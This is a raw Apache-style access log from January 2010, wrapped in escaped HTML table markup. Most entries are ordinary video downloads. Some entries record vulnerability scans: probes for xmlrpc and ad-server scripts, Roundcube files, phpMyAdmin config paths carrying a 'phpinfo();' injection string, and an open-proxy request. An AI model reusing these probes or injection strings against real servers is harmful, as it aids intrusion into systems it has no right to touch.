207.58.180.175 - - [24/Jan/2010:19:17:31 -0800] "GET /blog/xmlrpc.php HTTP/1.0" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:30 -0800] "GET /xmlsrv/xmlrpc.php HTTP/1.0" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:30 -0800] "GET /xmlrpc/xmlrpc.php HTTP/1.0" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:30 -0800] "GET /xmlrpc.php HTTP/1.0" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:30 -0800] "GET /ads/adxmlrpc.php HTTP/1.0" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:29 -0800] "GET /Ads/adxmlrpc.php HTTP/1.0" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:29 -0800] "GET /phpads/adxmlrpc.php HTTP/1.0" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:29 -0800] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:29 -0800] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:29 -0800] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:28 -0800] "GET /adxmlrpc.php HTTP/1.0" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.58.180.175 - - [24/Jan/2010:19:17:28 -0800] "GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php HTTP/1.0" 404 236

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:16:36:22 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 2101312

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:16:31:45 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 5896588

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:16:26:00 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:16:25:11 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 4226184

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [24/Jan/2010:11:36:02 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:37:24 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 4232024

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:34:49 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 9295140

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:31:03 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:30:59 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:30:53 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:30:50 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:30:50 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:30:49 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
24.230.184.139 - - [24/Jan/2010:10:30:48 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.167.108.150 - - [23/Jan/2010:05:12:58 -0800] "GET / HTTP/1.1" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:20:51 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:19:19 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:19:13 -0800] "GET /favicon.ico HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:19:12 -0800] "GET /icons/movie.gif HTTP/1.1" 200 243

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:19:12 -0800] "GET /icons/back.gif HTTP/1.1" 200 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:19:12 -0800] "GET /icons/blank.gif HTTP/1.1" 200 148

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.170.119.210 - - [22/Jan/2010:20:19:11 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
125.65.112.168 - - [22/Jan/2010:16:27:10 -0800] "GET http://freestuff-site.com/prx1.php HTTP/1.0" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
84.244.181.86 - - [21/Jan/2010:16:56:23 -0800] "GET /README HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
84.244.181.86 - - [21/Jan/2010:16:56:22 -0800] "GET /mail/README HTTP/1.1" 404 209

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
84.244.181.86 - - [21/Jan/2010:16:56:22 -0800] "GET /roundcube/README HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
84.244.181.86 - - [21/Jan/2010:16:56:22 -0800] "GET /webmail/README HTTP/1.1" 404 212

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
84.244.181.86 - - [21/Jan/2010:16:56:21 -0800] "GET /rc/README HTTP/1.1" 404 207

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
84.244.181.86 - - [21/Jan/2010:16:56:20 -0800] "GET /roundcubemail/README HTTP/1.1" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:35 -0800] "GET / HTTP/1.1" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:34 -0800] "GET //webmail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:34 -0800] "GET //mail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:33 -0800] "GET //phpMyAdmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:33 -0800] "GET //phpmyadmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:32 -0800] "GET //phppgadmin/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:32 -0800] "GET //config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:32 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:31 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:31 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:30 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:30 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:29 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:29 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:28 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
211.172.232.102 - - [21/Jan/2010:07:42:28 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:55 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:55 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:55 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:54 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:54 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:54 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:53 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:53 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:52 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.203.137 - - [20/Jan/2010:15:34:52 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:55:40 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 206 12840960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:59:59 -0800] "GET /global_files/css/site.css HTTP/1.1" 200 229

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:59:58 -0800] "GET / HTTP/1.1" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:55:39 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 206 6784

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:55:37 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 200 12864128

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:33:48 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 206 12840960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:33:47 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 206 6784

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:33:45 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 200 12864128

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:33:44 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 200 12864128

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:33:42 -0800] "GET /videos/North_DogFriend.AVI HTTP/1.1" 200 12864128

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:26 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:26 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:25 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 7910

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:23 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:22 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17542886

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:20 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17543230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:23:09 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:18 -0800] "GET /icons/movie.gif HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:18 -0800] "GET /icons/blank.gif HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:17 -0800] "GET /icons/back.gif HTTP/1.1" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:24:15 -0800] "GET /videos/ HTTP/1.1" 200 2118

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:23:07 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 7910

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:23:05 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:23:05 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17542886

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:23:03 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17543230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:32 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:31 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 7910

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:29 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:28 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17542886

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:27 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17543230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:07 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:06 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 7910

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:04 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:03 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17542886

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:22:02 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17543230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:21:34 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:21:34 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:21:33 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 7910

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:21:31 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:21:30 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17543230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:21:27 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17543230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:20:35 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:20:34 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 17522688

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:20:33 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 206 7910

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:20:31 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:20:30 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:20:28 -0800] "GET /videos/NorthLongerHair.AVI HTTP/1.1" 200 17546982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:19:03 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 2957312

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:19:02 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 2957312

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:19:01 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 6394

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:57 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 200 2980090

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:57 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 2976338

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:56 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 2976338

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:31 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 2957312

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:31 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 2957312

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:30 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 206 6394

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:28 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 200 2980090

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:26 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 200 2980090

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:18:25 -0800] "GET /videos/MemorialDayBeach2009_3.AVI HTTP/1.1" 200 2980090

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:15:45 -0800] "GET /videos/MemorialDayBeach2009_2.AVI HTTP/1.1" 206 5332992

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:15:44 -0800] "GET /videos/MemorialDayBeach2009_2.AVI HTTP/1.1" 206 5332992

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:15:43 -0800] "GET /videos/MemorialDayBeach2009_2.AVI HTTP/1.1" 206 5580

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:15:41 -0800] "GET /videos/MemorialDayBeach2009_2.AVI HTTP/1.1" 200 5354956

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:15:40 -0800] "GET /videos/MemorialDayBeach2009_2.AVI HTTP/1.1" 200 5354956

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:15:38 -0800] "GET /videos/MemorialDayBeach2009_2.AVI HTTP/1.1" 200 5354956

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:09:58 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 11264000

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:09:57 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 11264000

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:09:56 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 206 10576

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:09:54 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:09:53 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.77.217.106 - - [20/Jan/2010:14:09:51 -0800] "GET /videos/MemorialDayBeach2009_1.AVI HTTP/1.1" 200 11290960

&lt;/td&gt;
